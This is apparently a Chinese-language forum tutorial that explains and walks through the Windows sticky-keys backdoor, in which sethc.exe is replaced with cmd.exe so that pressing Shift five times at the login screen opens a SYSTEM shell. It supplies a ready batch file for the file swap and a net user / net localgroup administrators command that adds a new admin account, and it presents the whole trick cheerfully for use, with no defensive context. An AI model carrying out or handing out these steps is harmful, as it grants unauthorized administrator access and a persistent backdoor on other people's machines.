首先,要说的是不论干什麼，强调的是原理 所以在这里把后门的原理讲清楚

首先,我们要说的是shift这个键连续按5下它会自动弹出个对话框.这个是windows里面自带的功能键
连续按5下后操作系统会自动找到c:\windows\system32\ 下面一个叫sethc.exe 的程序, 然后会弹出如下对话框
[p_w_upload=9]

在进程里面我们可以看到这个程序被系统运行了 不过是以我们自己的用户运权限行的
[p_w_upload=8]

但是当我们未登陆系统(停留在登陆界面)的时候 系统还不知道我们将以哪个用户登陆,所以在这个时候连续按5次shift后门的话系统将会以system用户(具有管理员级别的权限)来运行sethc.exe这个程序 那么试想一下如果我们把cmd.exe这个程序更名称sethc.exe并且把原来的sethc.exe替换掉的话 那么在登陆界面的时候我们连续按下5吃shift键系统以system权限就会运行我们的CMD.exe 那么我们的cmd.exe就具有了管理员权限了 如此一来 我们只要利用CMD加一个管理员用户就可以登陆进去了 嘿嘿~~是不是很过瘾呢~~

具体操作如下

写一个批处理程序来实现吧

新建一个记事本 然后输入以下内容,并保存为.bat后缀的文件

echo 提权开始......
copy c:\windows\system32\cmd.exe c:\windows\system32\dllcache\sethc.exe
copy c:\windows\system32\dllcache\sethc.exe c:\windows\system32\sethc.exe
echo 提权结束......


双击下这个BAT文件然后注销到登陆界面按5次shift 会弹出个cmd命令行

在里面输入如下内容

net user 你要添加的用户名 密码 /add && net localgroup administrators 你要添加的用户名 /add



然后以你添加的用户和密码登陆就可以了 这个时候你的帐户就是管理员权限了 嘿嘿~~~

PS:这招我好久没用了 如果不行的话就自己手动去c:\windows\system32\下找CMD.exe改名成setch.exe把
c:\windows\system32\dllcache\ 和c:\windows\system32\ 下的sethc.exe给替换了就可以了